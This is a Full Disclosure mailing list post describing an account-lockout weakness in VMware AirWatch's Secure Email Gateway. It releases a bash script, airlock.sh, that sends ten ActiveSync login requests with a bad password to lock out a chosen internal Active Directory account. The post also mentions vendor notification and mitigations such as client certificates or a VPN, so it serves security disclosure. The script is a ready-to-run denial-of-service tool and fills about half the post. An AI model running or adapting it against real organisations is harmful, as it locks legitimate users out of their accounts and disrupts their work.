Vmware airwatch feature

[Jacek Lipkowski <fdlist () lipkowski org>]

There is a non-bug works-as-designed-feature in products which expose some 
internal company resources, such as webmail, to the internet (bad 
practice, but this is often done) and use internal authentication. A few 
bad logins can lock out internal accounts (usually 3 bad logins per 
standard AD policy).

This is obvious and i would ask you a question how to classify this 
problem? Security bug? Reliability bug? Bad design? Any other comments?


One example would be Vmware Airwatch. I've audited an Airwatch PoC in 
january 2018. One of the components is a SEG (secure email gateway), which 
exposes a protocol similar to activesync to the internet. The client is 
the Vmware Boxer app (android/ios). This works for users which were not 
enrolled into airwatch.

Vmware was made aware of the problem, but didn't offer a working solution 
at that time. I've heard that right now this problem is solved by using 
some vpn solution included in the new airwatch, so this issue is 
presumably closed and therefore i'm releasing a sample script for testing.

The same could be done with imap/pop/smtp auth etc (if exposed to the 
internet, but usually isn't).

Regards

Jacek Lipkowski




------8<-----  simple demo: airlock.sh

#!/bin/bash
#
# airlock.sh (c) 2018 Jacek Lipkowski <sq5bpf () lipkowski org>
# Log into Vmware Airwatch multiple times aith an incorrect password to
# lock out internal company accounts (governed by the AD policy).
# Of course this is expected behaviour, multiple bad logins should result in a lockout.
# This works even for accounts which are not configured in Airwatch. 
#
# I've heard that new versions implement some kind of vpn to mitigate this.
#
# This script was written almost a year ago, and i don't have where to test it now, 
# so it might need some tweaking.
#
# Something similar should work against exchange (if exposed to the 
# internet without additional vpn), since this is just activesync 
# with additional parameters. This was tested on an Airwatch SEG installation in January 2018
# 
# So is this a bug or not? Hard to tell. Everything works by design.
# To mitigate this use ssl with client certificates, or some form of vpn 
# to allow only known clients to login.
#

# usage: ./airlock.sh internal.company.domain.com account_to_block external_server.company.domain.com
#

DOMAIN=$1
ACCOUNT=$2
HOST=$3

BAUTH=`echo -n "${DOMAIN}\\\\${ACCOUNT}:bad_password" | openssl enc -a -e`
# note: SEG can filter based on parameters, so for example you could limit this only to
# specific device IDs, specific User-Agents etc
DEVID=11111111111111111111111111111111a #device id in hex
KONTO2="$ACCOUNT" #actually anything works here

for i in `seq 1 10`
do
        echo "###   $i   ###"
        curl   \
                -H 'User-Agent:' \
                -H 'Accept:' \
                -H 'Content-Length: 0' \
                -H "Authorization: Basic ${BAUTH}" \
                -H "User-Agent: AirWatch Boxer (SM-A510F; Android 7.0) Version 4.8.1.2/430" \
                -H "MS-ASProtocolVersion: 14.1" \
                -H "Content-Type: application/vnd.ms-sync.wbxml" \
                -X POST \
                
"https://${HOST}/Microsoft-Server-ActiveSync?Cmd=Ping&User=${DOMAIN}%5C${KONTO2}&DeviceId=${DEVID}&DeviceType=BoxerManagedAndroid";

done




_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/